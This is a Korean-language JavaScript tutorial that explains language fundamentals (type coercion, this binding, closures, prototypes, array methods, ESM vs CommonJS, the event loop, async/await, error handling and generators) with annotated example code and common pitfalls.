같은 언어로
서버도 앱도
데스크탑도
자바스크립트 하나면 웹 · 서버(Node) · 모바일(RN) · 데스크탑(Electron)을 전부 만들 수 있습니다. 그래서 언어 자체를 정확히 아는 것이 어느 언어보다 크게 남습니다. 이 탭은 실무에서 실제로 사고가 나는 지점 위주로 정리했습니다. 여기까지 마치면 프레임워크 없이도 남의 코드를 읽고 필요한 도구를 직접 만드는 수준에 섭니다.
자바스크립트를 실행하는 법
같은 문법인데 어디서 도느냐에 따라 쓸 수 있는 기능이 완전히 다릅니다.
실행 환경 세 가지
| 환경 | 있는 것 / 없는 것 |
|---|---|
| 브라우저 | window·document·localStorage 있음 /
파일 읽기 없음 |
| Node.js | fs·process·path 있음 /
DOM 없음 (document is not defined) |
| Deno · Bun | Node 호환을 지향하는 대안 런타임. 실무 표준은 아직 Node |
# 1) 브라우저 콘솔 — F12 를 누르고 바로 입력 (가장 빠름)
# 2) Node — 파일로 실행
node app.js
node --watch app.js # 저장하면 자동 재시작 (Node 22 부터 정식 기능)
# 3) 한 줄만 실행
node -e "console.log(1 + 1)"
# 4) TypeScript 를 그대로 실행 (Node 24+ 기본 · Node 26 에서 정식)
node app.ts
# · 타입 "지우기"만 합니다 — 타입 검사는 tsc --noEmit 로 따로
# · enum · 구 데코레이터 · namespace 같은 "코드를 만들어 내는" 문법은 안 됩니다
# → tsconfig 에 "erasableSyntaxOnly": true 를 켜 두면 미리 막아 줍니다
document 가 없고,
Electron 은 한 앱 안에서 두 환경이 동시에 돕니다(⚡ Electron 탭 e01).
에러의 상당수가 이 구분을 놓쳐서 납니다.
프로젝트의 시작 — package.json
mkdir my-app && cd my-app
npm init -y # package.json 생성
npm pkg set type=module # ★ ESM 으로 고정 (j09 참고)
{
"name": "my-app",
"type": "module", // "import" 문법을 쓰겠다는 선언
"scripts": {
"dev": "node --watch src/index.js",
"start": "node src/index.js"
},
"dependencies": {}, // 실행에 필요한 것
"devDependencies": {} // 개발할 때만 필요한 것 (테스트·린트)
}
node_modules 는 절대 커밋하지 마세요.
대신 package-lock.json 은 반드시 커밋합니다 —
그래야 내 PC 와 서버가 정확히 같은 버전을 씁니다.
(자세한 내용은 🧰 실전 도구 탭 o01)
변수 · 타입 · 형변환 함정
자바스크립트의 나쁜 평판은 대부분 이 절에서 나옵니다. 규칙만 알면 피할 수 있습니다.
변수 선언 — 결론부터
const name = "김현우"; // ★ 기본값. 재할당 금지
let count = 0; // 값이 바뀌어야 할 때만
var old = 1; // ❌ 쓰지 마세요
// const 는 "재할당 금지"이지 "변경 금지"가 아닙니다
const user = { name: "김" };
user.name = "이"; // ✅ 됩니다 (객체 내부는 바뀜)
user = {}; // ❌ TypeError: Assignment to constant
// 진짜로 못 바꾸게 하려면
const frozen = Object.freeze({ name: "김" });
frozen.name = "이"; // 조용히 무시됨 (strict 모드면 에러)
var 를 쓰면 안 되는 이유 —
블록을 무시하고 함수 전체가 범위이며,
선언 전에 써도 에러가 안 나고 undefined 가 됩니다(호이스팅).
반복문 안에서 쓰면 모든 콜백이 같은 값을 보게 됩니다(j04).
타입 7 + 1
typeof "글자" // "string"
typeof 42 // "number" (정수·실수 구분 없음)
typeof 10n // "bigint" (아주 큰 정수)
typeof true // "boolean"
typeof undefined // "undefined" (값을 아직 안 넣음)
typeof Symbol() // "symbol"
typeof null // "object" ← ★ 언어의 유명한 버그
typeof {} // "object" (배열·함수·날짜도 전부 객체)
typeof (() => {}) // "function"
// 배열인지 확인은 typeof 로 안 됩니다
Array.isArray([1,2]); // true ★ 이걸 쓰세요 (세미콜론 주의 — 다음 줄이 [ 로 시작)
[1,2] instanceof Array // true (프레임 넘나들면 실패할 수 있음)
형변환 — 실무에서 진짜 겪는 것들
// ① == 는 타입을 멋대로 맞춥니다. === 만 쓰세요
0 == "0" // true ← 이래서 사고가 납니다
0 === "0" // false ✅
null == undefined // true (이 한 가지만 == 가 편리)
null === undefined// false
// ② 숫자 변환
Number("42") // 42
Number("42px") // NaN
parseInt("42px") // 42 ← 입력값 파싱에는 이쪽
Number("") // 0 ★ 빈 문자열이 0 이 되는 함정
Number(null) // 0
Number(undefined) // NaN
// ③ NaN 은 자기 자신과도 다릅니다
NaN === NaN // false
Number.isNaN(value) // ★ 이걸로 확인
Number.isInteger(3.0) // true
// ④ 소수 계산 (모든 언어 공통 부동소수점 문제)
0.1 + 0.2 === 0.3 // false !
(0.1 + 0.2).toFixed(2) // "0.30"
// ★ 돈 계산은 "원 단위 정수"로 하거나 decimal.js 를 쓰세요
falsy — 조건문에서 false 로 취급되는 값
false, 0, -0, 0n, "", null, undefined, NaN // ← 이 8개가 전부
// 나머지는 전부 truthy: "0", "false", [], {}, function(){}
// 그래서 이런 버그가 납니다
if (count) { ... } // ❌ count 가 0 이면 안 들어감
if (count !== undefined) // ✅ 의도한 검사
// 개수·금액처럼 0 이 유효한 값이면 반드시 명시적으로 비교하세요
const qty = input ?? 1; // ✅ null/undefined 일 때만 1
const bad = input || 1; // ❌ input 이 0 이어도 1 이 됨
?? 와 || 의 차이가 실무에서 제일 자주 나오는 함정입니다.
“값이 없을 때 기본값”이 목적이라면 거의 항상 ?? 가 정답입니다.
함수 · 화살표 함수 · this
this 는 “어떻게 호출했는가”로 정해집니다. 이 한 문장이 전부입니다.
함수를 만드는 방법
// 1) 함수 선언문 — 호이스팅됨 (선언 전에 호출 가능)
function add(a, b) { return a + b; }
// 2) 함수 표현식
const add2 = function (a, b) { return a + b; };
// 3) 화살표 함수 — ★ 요즘 기본
const add3 = (a, b) => a + b; // 한 줄이면 return 생략
const double = n => n * 2; // 인자 1개면 괄호 생략 가능
const makeUser = name => ({ name }); // ★ 객체 반환은 괄호로 감싸기
// 기본값 · 나머지 매개변수
function greet(name, greeting = "안녕", ...rest) {
console.log(greeting, name, rest);
}
greet("김현우"); // 안녕 김현우 []
greet("김현우", "반가워", 1, 2); // 반가워 김현우 [1, 2]
this·arguments·new 가 없으므로
객체의 메서드나 생성자로는 쓸 수 없습니다.
addEventListener 에서 this(이벤트 대상)가 필요할 때도 마찬가지입니다.
this 가 정해지는 규칙 — 위에서부터
const obj = {
name: "객체",
normal() { return this.name; }, // 호출한 주체 = obj
arrow: () => this?.name, // ★ 바깥 스코프의 this (obj 아님)
};
obj.normal(); // "객체" — 점 앞의 것이 this
obj.arrow(); // undefined — 화살표는 this 를 안 만듦
const f = obj.normal; // ★ 떼어내는 순간 주체가 사라짐
f(); // ★ TypeError — strict 모드(ESM)에선 this 가 undefined 라
// undefined.name 접근에서 터집니다. 흔한 버그
// 해결책 3가지
const g = obj.normal.bind(obj); // ① 묶어 두기
obj.normal.call(obj); // ② 호출 시 지정
setTimeout(() => obj.normal(), 0);// ③ ★ 화살표로 감싸기 (가장 흔함)
실무에서 이 함정을 만나는 자리
class Timer {
seconds = 0;
// ❌ 1초 뒤 this 가 사라짐
startBad() {
setInterval(function () { this.seconds++; }, 1000);
}
// ✅ 화살표는 바깥(인스턴스)의 this 를 그대로 씀
startGood() {
setInterval(() => { this.seconds++; }, 1000);
}
// ✅ 클래스 필드로 정의해도 안전 (React 이벤트 핸들러에서 자주)
handleClick = () => { this.seconds = 0; };
}
this 는 “누가 불렀나”,
화살표 함수의 this 는 “어디에 쓰였나”.
콜백 안에서는 거의 항상 화살표가 정답입니다.
const f = obj.fn; f() 는 this 를 잃습니다.스코프 · 클로저
면접 단골이자, 리액트 훅·모듈 패턴·이벤트 핸들러가 전부 이것 위에 서 있습니다.
클로저 = 함수 + 태어난 곳의 기억
function makeCounter() {
let count = 0; // 바깥 함수의 지역 변수
return {
increment() { return ++count; }, // ★ count 를 계속 기억한다
get value() { return count; },
};
}
const c = makeCounter();
c.increment(); // 1
c.increment(); // 2
c.value; // 2
c.count; // undefined — 밖에서는 못 건드림 (= 진짜 캡슐화)
// makeCounter 는 이미 끝났는데도 count 가 살아 있습니다.
// "함수가 자기 스코프를 들고 다니는 것" — 이게 클로저입니다.
가장 유명한 함정
var — 전부 3 이 찍힘
for (var i = 0; i < 3; i++) {
setTimeout(() => console.log(i));
}
// 3, 3, 3
// var 는 함수 스코프라
// i 가 하나뿐
let — 0, 1, 2
for (let i = 0; i < 3; i++) {
setTimeout(() => console.log(i));
}
// 0, 1, 2
// let 은 반복마다
// 새 바인딩을 만듦
실무에서 쓰는 클로저
// ① 디바운스 — 마지막 호출만 실행 (검색창 입력)
function debounce(fn, ms = 300) {
let timer; // ★ 호출 간에 유지되는 상태
return (...args) => {
clearTimeout(timer);
timer = setTimeout(() => fn(...args), ms);
};
}
const search = debounce((q) => fetch(`/api?q=${q}`), 300);
// ② 스로틀 — 일정 간격으로만 실행 (스크롤·리사이즈)
function throttle(fn, ms = 200) {
let last = 0;
return (...args) => {
const now = Date.now();
if (now - last < ms) return;
last = now;
fn(...args);
};
}
// ③ 한 번만 실행 (초기화 보장)
function once(fn) {
let done = false, result;
return (...args) => {
if (!done) { done = true; result = fn(...args); }
return result;
};
}
// ④ 간단한 메모이제이션 (비싼 계산 캐시)
function memoize(fn) {
const cache = new Map();
return (arg) => {
if (!cache.has(arg)) cache.set(arg, fn(arg));
return cache.get(arg);
};
}
removeEventListener 로 정리하세요
(🧬 전문가 탭 d04 에서 실제로 찾는 방법을 다룹니다).
객체 · 프로토타입
자바스크립트에는 클래스가 원래 없었습니다. 지금도 내부는 프로토타입입니다.
객체 다루기 실전
const user = { id: 1, name: "김현우", role: "dev" };
// 순회 — 목적에 맞는 것을 고르세요
Object.keys(user); // ["id", "name", "role"]
Object.values(user); // [1, "김현우", "dev"]
Object.entries(user); // [["id",1], ["name","김현우"], ...]
// 배열 ↔ 객체 변환
Object.fromEntries([["a",1],["b",2]]); // { a:1, b:2 }
Object.fromEntries(new URLSearchParams(qs)); // 쿼리스트링 → 객체
// 동적 키 · 계산된 속성
const key = "score";
const obj = { [key]: 10, [`${key}Max`]: 100 }; // { score:10, scoreMax:100 }
// 속성 존재 확인
"name" in user // true (프로토타입까지 확인)
Object.hasOwn(user, "name") // true ★ 자기 것만 (ES2022, 권장)
복사 — 얕은 복사와 깊은 복사
const orig = { name: "김", tags: ["a", "b"] };
// 얕은 복사 — 1단계만 복사됨
const shallow = { ...orig };
shallow.tags.push("c"); // ★ orig.tags 도 바뀝니다!
// 깊은 복사 — 런타임 내장 (Node 17+ · 브라우저 공통. ECMAScript 가 아니라 웹 표준입니다)
const deep = structuredClone(orig);
deep.tags.push("c"); // orig 는 그대로 ✅
// ❌ 옛날 방식 — 함수·Date·undefined 가 사라집니다
const bad = JSON.parse(JSON.stringify(orig));
프로토타입 사슬
const arr = [1, 2, 3];
arr.map(...) // arr 에는 map 이 없습니다
// → Array.prototype 에서 찾음 ✅
// 사슬: arr → Array.prototype → Object.prototype → null
Object.getPrototypeOf(arr) === Array.prototype; // true
arr.hasOwnProperty("map"); // false
Array.prototype.hasOwnProperty("map"); // true
// 프로토타입을 직접 쓰는 경우 (라이브러리 내부에서만)
function Animal(name) { this.name = name; }
Animal.prototype.speak = function () {
return `${this.name} 이(가) 소리를 냅니다`;
};
const dog = new Animal("멍멍이");
dog.speak();
// 위와 정확히 같은 것을 class 문법으로
class Animal2 {
constructor(name) { this.name = name; }
speak() { return `${this.name} 이(가) 소리를 냅니다`; }
}
// ★ class 는 프로토타입을 감싼 "문법 설탕"입니다
Array.prototype.myUtil = ... 같은 코드는
다른 라이브러리와 충돌하고, for...in 순회를 오염시킵니다.
프로토타입 오염은 실제 보안 취약점이기도 합니다(🧬 전문가 d13).
언제 무엇을 쓰나
| 상황 | 선택 |
|---|---|
| 단순 데이터 묶음 | 객체 리터럴 {} — 대부분 이걸로 충분 |
| 키가 동적·문자열이 아님 | Map — 순서 보장, 크기 확인, 객체 키 가능 |
| 중복 없는 목록 | Set |
| 동작이 붙은 개체가 여럿 | class |
배열 메서드 완전정복
실무 코드의 상당 부분이 배열 변형입니다. 여기가 손에 붙으면 속도가 달라집니다.
목적별 지도
| 하려는 일 | 메서드 |
|---|---|
| 모양 바꾸기 | map |
| 걸러 내기 | filter |
| 하나로 합치기 | reduce |
| 하나 찾기 | find / findIndex / findLast |
| 있는지 확인 | some(하나라도) / every(전부) / includes |
| 정렬 | toSorted (원본 유지) / sort (원본 변경) |
| 평탄화 | flat / flatMap |
| 그룹으로 묶기 | Object.groupBy ES2024 |
const orders = [
{ id: 1, user: "김", amount: 15000, status: "paid" },
{ id: 2, user: "이", amount: 8000, status: "pending" },
{ id: 3, user: "김", amount: 32000, status: "paid" },
];
// 체이닝 — 읽는 순서대로 흘러갑니다
const total = orders
.filter(o => o.status === "paid") // 결제된 것만
.map(o => o.amount) // 금액만
.reduce((sum, n) => sum + n, 0); // 합계 → 47000
// 사용자별로 묶기 (ES2024)
Object.groupBy(orders, o => o.user);
// { 김: [주문1, 주문3], 이: [주문2] }
// 예전 방식 (지원 범위가 넓음)
orders.reduce((acc, o) => {
(acc[o.user] ??= []).push(o); // ★ ??= 로 초기화
return acc;
}, {});
원본을 바꾸는 메서드 — 사고의 원인
// ❌ 원본을 바꿉니다 (React 상태에 쓰면 화면이 안 바뀜)
arr.sort() arr.reverse() arr.splice()
arr.push() arr.pop() arr.shift() arr.unshift()
// ✅ 새 배열을 반환합니다 (ES2023 — 이제 짝이 다 생겼습니다)
arr.toSorted() arr.toReversed() arr.toSpliced() arr.with(i, v)
const scores = [3, 1, 2];
const sorted = scores.toSorted((a, b) => a - b); // scores 는 그대로 ✅
const changed = scores.with(0, 99); // [99, 1, 2]
sort() 는 기본이 문자열 정렬입니다.
[10, 9, 1].sort() 는 [1, 10, 9] 가 됩니다.
숫자는 반드시 비교 함수를 주세요 — (a, b) => a - b.
자주 쓰는 조합
// 중복 제거
[...new Set([1, 2, 2, 3])]; // [1, 2, 3]
// 객체 배열 중복 제거 (id 기준)
const uniq = [...new Map(list.map(o => [o.id, o])).values()];
// 두 배열의 교집합 · 차집합
const setB = new Set(b);
const inter = a.filter(x => setB.has(x));
const diff = a.filter(x => !setB.has(x));
// 청크 나누기 (100개씩 처리 — 대량 API 호출에 필수)
const chunk = (arr, n) =>
Array.from({ length: Math.ceil(arr.length / n) },
(_, i) => arr.slice(i * n, i * n + n));
// 여러 기준으로 정렬
list.toSorted((a, b) =>
a.grade - b.grade || a.name.localeCompare(b.name)); // ★ 한글 정렬
includes 로 검사하는 반복문은 느립니다.
arr.filter(x => other.includes(x)) 는 O(n×m) 입니다.
한쪽을 Set 으로 바꾸면 O(n+m) 이 됩니다. 데이터가 만 건을 넘으면 체감이 확 달라집니다.
구조 분해 · 스프레드
최신 자바스크립트 코드가 짧아 보이는 이유의 절반입니다.
구조 분해 (Destructuring)
const user = { id: 1, name: "김현우", address: { city: "서울" } };
// 기본
const { name, id } = user;
// 이름 바꾸기 + 기본값
const { name: userName, role = "user" } = user;
// 중첩
const { address: { city } } = user;
// 나머지 모으기 — ★ 특정 키만 제외할 때 매우 유용
const { id: _, ...withoutId } = user; // id 를 뺀 나머지
// 배열
const [first, second = 0, ...rest] = [1, 2, 3, 4];
const [, , third] = arr; // 앞은 건너뛰기
[a, b] = [b, a]; // 값 교환
// 함수 매개변수에서 (실무에서 가장 많이 씁니다)
function createUser({ name, email, role = "user" }) { ... }
createUser({ name: "김", email: "a@b.c" }); // 순서 신경 안 써도 됨
const { a } = undefined 는 TypeError 입니다.
API 응답처럼 없을 수도 있는 값은
const { a } = res ?? {} 처럼 기본값을 주세요.
스프레드 (…)
// 배열 합치기 · 복사
const merged = [...arr1, ...arr2];
const copy = [...arr]; // 얕은 복사
// 객체 병합 — ★ 뒤에 오는 것이 이깁니다
const updated = { ...user, name: "새이름" };
const withDefaults = { ...defaults, ...userConfig };
// 조건부로 속성 넣기 (실무 필수 패턴)
const query = {
page,
...(keyword && { keyword }), // 값이 있을 때만 키 추가
...(isAdmin ? { includeHidden: true } : {}),
};
// 함수 인자로 펼치기
Math.max(...numbers);
const merged2 = new Set([...setA, ...setB]);
// 유사 배열 → 배열
[...document.querySelectorAll("div")]; // NodeList → Array
Array.from({ length: 5 }, (_, i) => i); // [0,1,2,3,4]
스프레드가 깊은 복사가 아니라는 점
const state = { user: { name: "김" }, items: [1, 2] };
const next = { ...state };
next.user.name = "이"; // ★ state.user.name 도 바뀝니다
// 중첩된 것을 바꿀 때는 그 층까지 새로 만들어야 합니다
const next2 = {
...state,
user: { ...state.user, name: "이" }, // ✅
};
// 층이 깊어지면 immer 같은 라이브러리를 쓰거나 structuredClone 을 쓰세요
클래스 · 상속
Nest·TypeORM·Electron 이 전부 클래스 기반입니다. 문법은 자바와 거의 같습니다.
기본형
class User {
// public 필드
role = "user";
// ★ 진짜 private (ES2022) — 밖에서 접근하면 문법 에러
#password;
// static — 인스턴스 없이 클래스에서 바로
static count = 0;
constructor(name, password) {
this.name = name;
this.#password = password;
User.count++;
}
// getter / setter — 속성처럼 쓰이는 메서드
get displayName() { return `${this.name}(${this.role})`; }
set displayName(v) { this.name = v.trim(); }
// 인스턴스 메서드
checkPassword(input) { return this.#password === input; }
// 정적 팩토리 — 이름 있는 생성자 대용
static fromJSON(json) { return new User(json.name, json.pw); }
}
const u = new User("김현우", "1234");
u.displayName; // "김현우(user)" ← 괄호 없이 호출
u.#password; // ❌ SyntaxError — 밖에서는 접근 불가
# 은 관례가 아니라 진짜 강제입니다.
예전의 _password 는 “건드리지 말자”는 약속일 뿐이었지만,
#password 는 언어 차원에서 막습니다.
TypeScript 의 private 은 컴파일 때만 검사하므로,
런타임 보호가 필요하면 # 를 쓰세요.
상속과 실전 활용
class Admin extends User {
constructor(name, password, level) {
super(name, password); // ★ this 를 쓰기 전에 반드시 먼저
this.role = "admin";
this.level = level;
}
// 오버라이드
get displayName() {
return `👑 ${super.displayName}`; // 부모 것도 쓸 수 있음
}
}
// 커스텀 에러 — 실무에서 가장 자주 쓰는 상속
class AppError extends Error {
constructor(message, code, status = 400) {
super(message);
this.name = this.constructor.name; // "AppError"
this.code = code;
this.status = status;
Error.captureStackTrace?.(this, this.constructor); // Node 전용
}
}
class NotFoundError extends AppError {
constructor(what) { super(`${what} 을(를) 찾을 수 없습니다`, "NOT_FOUND", 404); }
}
try {
throw new NotFoundError("주문");
} catch (e) {
if (e instanceof NotFoundError) res.status(e.status).json({ code: e.code });
}
모듈 — ESM vs CommonJS
Node 진영에서 가장 많은 시간을 잡아먹는 주제입니다. 규칙을 한 번에 정리합니다.
CommonJS — 옛 Node 방식
// 내보내기
module.exports = { add, sub };
module.exports.add = add;
exports.add = add; // 축약형
// 가져오기
const { add } = require("./math");
const fs = require("fs");
// 동적 · 조건부 로드가 자유롭다
if (dev) require("./devTools");
// 현재 파일 경로가 그냥 있다
__dirname, __filename
ESM — 표준 · 신규 프로젝트 기본
// 내보내기
export function add(a, b) { return a + b; }
export default class User {}
export { add as plus };
// 가져오기
import { add } from "./math.js"; // ★ 확장자 필수
import fs from "node:fs/promises"; // ★ node: 접두어 권장
// 동적 로드는 await 로
const mod = await import("./heavy.js");
// 경로는 직접 만들어야 한다
import { fileURLToPath } from "node:url";
import path from "node:path";
const __dirname = path.dirname(
fileURLToPath(import.meta.url));
무엇이 결정하나 — package.json 한 줄
{
"type": "module" // .js 파일을 ESM 으로 해석 ★ 신규 프로젝트 권장
// "type": "commonjs" // 또는 생략 = CJS (기본값)
}
확장자로 개별 지정도 가능합니다
.mjs → 항상 ESM
.cjs → 항상 CommonJS
혼용 규칙
ESM 에서 CJS 가져오기 ✅ 됨 (default 로 들어옴)
CJS 에서 ESM 가져오기 △ Node 22.12+ 부터 require() 로도 됩니다
· 단 top-level await 가 있는 모듈은 여전히 불가
→ ERR_REQUIRE_ASYNC_MODULE
· 그 아래 버전이면 await import() 만
★ 오래 CJS 를 막아 온 "라이브러리가 ESM 전용" 문제가 크게 풀렸습니다
·
Cannot use import statement outside a module
→ "type": "module" 이 빠짐·
ERR_REQUIRE_ESM
→ CJS 에서 ESM 패키지를 require 함.
Node 22.12+ 로 올리면 대부분 사라집니다(top-level await 이 없는 모듈 한정)·
ERR_MODULE_NOT_FOUND
→ ESM 인데 확장자(.js)를 안 적음
실무 규칙
- 새 프로젝트는 무조건 ESM — 표준이고, 최신 라이브러리가 ESM 전용으로 가고 있습니다
- 내부 경로에는 별칭을 쓰세요 —
../../../utils는 리팩터링 지옥입니다 - 배럴 파일(
index.js에서 몰아 export)은 편하지만 번들 크기와 순환 참조 문제를 만듭니다. 라이브러리에서는 피하세요 - 순환 참조는 ESM 에서
undefined로 조용히 나타납니다 — A가 B를, B가 A를 import 하면 한쪽이 초기화 전에 읽힙니다
// package.json — 경로 별칭 (Node 자체 기능, 빌드 도구 불필요)
{
"imports": {
"#utils/*": "./src/utils/*.js",
"#config": "./src/config.js"
}
}
// 사용: import { log } from "#utils/log.js";
// 라이브러리를 만든다면 — 양쪽 모두 지원 (dual package)
{
"exports": {
".": {
"types": "./dist/index.d.ts",
"import": "./dist/index.mjs",
"require": "./dist/index.cjs"
}
}
}
// tsup 이 이 세 개를 한 번에 만들어 줍니다 (🧰 도구 탭 o03)
이벤트 루프 · 실행 순서
싱글 스레드인데 동시에 일하는 것처럼 보이는 이유. 면접 최다 출제 주제입니다.
한 장으로 보는 구조
┌─────────────────┐
│ 콜 스택 │ ← 지금 실행 중인 코드 (하나뿐)
└────────┬────────┘
│ 비었을 때만 아래에서 가져온다
┌────────────┴────────────┐
│ ① 마이크로태스크 큐 │ Promise.then, queueMicrotask
│ (전부 비울 때까지) │ ★ 우선순위 높음
└────────────┬────────────┘
┌────────────┴────────────┐
│ ② 매크로태스크 큐 │ setTimeout, setInterval,
│ (한 번에 하나) │ I/O 완료, 이벤트 콜백
└─────────────────────────┘
핵심 규칙
· 스택이 비어야 큐를 본다
· 마이크로태스크를 전부 비운 뒤에 매크로태스크 하나
· 그래서 Promise 가 setTimeout(0) 보다 항상 먼저
순서 맞히기 — 이게 면접 문제입니다
console.log("1");
setTimeout(() => console.log("2"), 0);
Promise.resolve().then(() => console.log("3"));
queueMicrotask(() => console.log("4"));
(async () => {
console.log("5"); // await 앞은 동기 실행
await null;
console.log("6"); // await 뒤는 마이크로태스크
})();
console.log("7");
// 출력: 1 → 5 → 7 → 3 → 4 → 6 → 2
// └── 동기 ──┘ └ 마이크로 ┘ └매크로
실무에서 이게 왜 중요한가
// ❌ 이 코드는 서버 전체를 멈춥니다
app.get("/report", (req, res) => {
let sum = 0;
for (let i = 0; i < 5_000_000_000; i++) sum += i; // 10초간 CPU 점유
res.json({ sum });
});
// 이 10초 동안 "다른 모든 요청"이 대기합니다.
// 스레드가 하나뿐이라 그렇습니다.
// ✅ 해결 — 무거운 계산은 워커로 (🟩 Node 탭 n09)
import { Worker } from "node:worker_threads";
const result = await runInWorker("./heavy.js", data);
Node 만의 추가 규칙
setTimeout(() => console.log("timeout"), 0);
setImmediate(() => console.log("immediate")); // Node 전용
process.nextTick(() => console.log("nextTick")); // Node 전용
// nextTick 은 (콜백 안에서는) Promise 마이크로태스크보다도 먼저 실행됩니다
// → 남용하면 이벤트 루프를 굶겨 죽입니다(starvation)
// ⚠ 단 ESM(.mjs · "type":"module") 의 최상위 코드에서는 모듈 실행 자체가
// 마이크로태스크 안이라 Promise.then 이 nextTick 보다 먼저 찍힙니다
// 순서: nextTick · Promise(마이크로) 는 timeout · immediate 보다 항상 먼저.
// ★ timers vs immediate 는 메인 모듈에선 순서 보장이 없습니다
// (I/O 콜백 안에서만 immediate 가 항상 먼저 — n03 참고)
requestAnimationFrame(화면 갱신 직전)이 있고,
Node 에는 process.nextTick·setImmediate 가 있습니다.
더 깊은 페이즈 이야기는 🟩 Node 탭 n03·🧬 전문가 d05 에 있습니다.
Promise · async/await
비동기 코드를 동기처럼 읽히게 만드는 문법. 실무 코드의 절반이 여기입니다.
기본 사용법
// async 함수는 항상 Promise 를 반환합니다
async function getUser(id) {
const res = await fetch(`/api/users/${id}`);
if (!res.ok) throw new Error(`HTTP ${res.status}`); // ★ fetch 는 4xx/5xx 에 안 던집니다
return res.json();
}
// 호출하는 쪽
try {
const user = await getUser(1);
} catch (e) {
console.error("실패", e);
}
// 최상위에서도 await 가능 (ESM 한정)
const data = await getUser(1);
fetch 는 404·500 에서 에러를 던지지 않습니다.
네트워크 자체가 실패했을 때만 reject 됩니다.
res.ok 확인을 빼먹으면 에러 페이지 HTML 을 JSON 으로 파싱하려다
엉뚱한 곳에서 터집니다. axios 는 반대로 4xx 에 던집니다.
순차 vs 병렬 — 성능 차이가 큽니다
순차 — 300ms
const a = await getA(); //100ms
const b = await getB(); //100ms
const c = await getC(); //100ms
// 서로 관계없는데
// 줄 서서 기다림
병렬 — 100ms
const [a, b, c] =
await Promise.all([
getA(), getB(), getC()
]);
// 동시에 출발
Promise 조합 메서드 — 목적이 다릅니다
| 메서드 | 동작 |
|---|---|
| all | 전부 성공해야 성공. 하나라도 실패하면 즉시 reject |
| allSettled | 전부 끝날 때까지 기다림. 성공/실패를 각각 알려 줌 |
| race | 가장 먼저 끝난 것 하나 (성공이든 실패든) — 타임아웃 구현에 |
| any | 가장 먼저 성공한 것 하나 (여러 미러 서버 중 하나) |
// 실패해도 나머지는 처리해야 할 때 — 알림 발송 등
const results = await Promise.allSettled(users.map(sendMail));
const failed = results.filter(r => r.status === "rejected");
console.log(`${failed.length}건 실패`);
// 타임아웃 붙이기 (직접 구현)
const withTimeout = (p, ms) => Promise.race([
p,
new Promise((_, rej) =>
setTimeout(() => rej(new Error("시간 초과")), ms)),
]);
await withTimeout(fetch(url), 3000);
// ★ 요즘은 내장 기능으로 (AbortSignal)
await fetch(url, { signal: AbortSignal.timeout(3000) });
흔한 실수
// ❌ forEach 는 await 를 기다려 주지 않습니다
items.forEach(async (item) => { await save(item); });
console.log("완료"); // 저장 끝나기 전에 찍힘
// ✅ 순서대로 저장해야 한다면
for (const item of items) await save(item);
// ✅ 동시에 저장해도 된다면
await Promise.all(items.map(save));
// ⚠️ 단, 1,000개를 한꺼번에 보내면 상대 서버가 죽습니다
// → 동시 실행 수 제한이 필요합니다 (🟩 Node 탭 n11)
save(item); 처럼 쓰면 에러가 나도 아무도 모르고,
Node 에서는 프로세스가 죽을 수도 있습니다.
의도적으로 기다리지 않을 때는 void save(item) 또는
.catch(log) 를 반드시 붙이세요.
에러 처리
잡을 수 있는 것만 잡고, 못 잡을 것은 위로 던지세요.
기본 규칙
try {
const data = await risky();
} catch (err) {
// ★ 던져지는 게 Error 라는 보장이 없습니다 (문자열도 던질 수 있음)
if (err instanceof AppError) { ... }
else if (err instanceof Error) { log(err.message); }
else { log(String(err)); }
} finally {
await conn.release(); // 성공/실패 상관없이 정리
}
// 원인을 보존하며 다시 던지기 (ES2022)
try {
await db.query(sql);
} catch (e) {
throw new Error("주문 저장 실패", { cause: e }); // ★ 원본 스택 유지
}
·
catch (e) {} — 빈 catch. 문제를 숨기는 최악의 코드·
catch (e) { console.log(e) } 만 하고 계속 진행 —
잘못된 데이터로 다음 로직이 돌아갑니다· 모든 함수마다 try/catch — 처리할 수 없는 곳에서 잡지 마세요
커스텀 에러로 분기하기
class ValidationError extends Error {
constructor(field, message) {
super(message);
this.name = "ValidationError";
this.field = field;
this.status = 400;
}
}
// 던지는 쪽
if (!email.includes("@")) throw new ValidationError("email", "형식 오류");
// 받는 쪽 — 한 곳에서 종류별로 응답 (🚂 Express x06)
if (err instanceof ValidationError) return res.status(400).json({ field: err.field });
if (err instanceof NotFoundError) return res.status(404).json({ ... });
return res.status(500).json({ message: "서버 오류" }); // ★ 내부 정보 노출 금지
비동기에서 놓치기 쉬운 곳
// ❌ 이 try/catch 는 아무것도 못 잡습니다
try {
setTimeout(() => { throw new Error("펑"); }, 100);
} catch (e) { /* 도달하지 않음 */ }
// 콜백은 "나중에 다른 스택에서" 실행되기 때문입니다
// ✅ 콜백 안에서 잡아야 합니다
setTimeout(() => {
try { risky(); } catch (e) { handle(e); }
}, 100);
// ❌ 이벤트 핸들러도 마찬가지
emitter.on("data", async (d) => {
await save(d); // 여기서 실패하면 unhandledRejection
});
// ✅ 감싸 주기
emitter.on("data", (d) => { save(d).catch(handleError); });
마지막 안전망 — 프로세스 레벨
// Node 서버라면 이 두 개는 필수입니다
process.on("unhandledRejection", (reason) => {
logger.fatal({ reason }, "처리되지 않은 Promise 거부");
process.exit(1); // ★ 살려 두지 말고 재시작에 맡기세요
});
process.on("uncaughtException", (err) => {
logger.fatal({ err }, "처리되지 않은 예외");
process.exit(1);
});
이터레이터 · 제너레이터
큰 데이터를 메모리에 다 올리지 않고 처리하는 기법입니다.
제너레이터 기본
function* range(start, end, step = 1) {
for (let i = start; i < end; i += step) yield i; // ★ 여기서 멈췄다 재개
}
for (const n of range(0, 5)) console.log(n); // 0 1 2 3 4
[...range(0, 3)]; // [0, 1, 2]
// 무한 수열도 가능합니다 (필요한 만큼만 계산되므로)
function* ids() { let i = 1; while (true) yield i++; }
const gen = ids();
gen.next().value; // 1
gen.next().value; // 2
// 값을 주고받기
function* dialog() {
const name = yield "이름이?";
yield `안녕하세요 ${name}님`;
}
const d = dialog();
d.next().value; // "이름이?"
d.next("김현우").value; // "안녕하세요 김현우님"
직접 이터러블 만들기
class Playlist {
#songs = ["A", "B", "C"];
// ★ 이 메서드만 있으면 for...of · 스프레드가 다 됩니다
*[Symbol.iterator]() { yield* this.#songs; }
}
const p = new Playlist();
for (const s of p) console.log(s);
const arr = [...p];
실무 — 비동기 이터레이터
// 페이지네이션 API 를 "그냥 반복문"처럼 쓰기
async function* fetchAllUsers() {
let page = 1;
while (true) {
const res = await fetch(`/api/users?page=${page}`);
const { items, hasNext } = await res.json();
yield* items; // 한 건씩 흘려보냄
if (!hasNext) return;
page++;
}
}
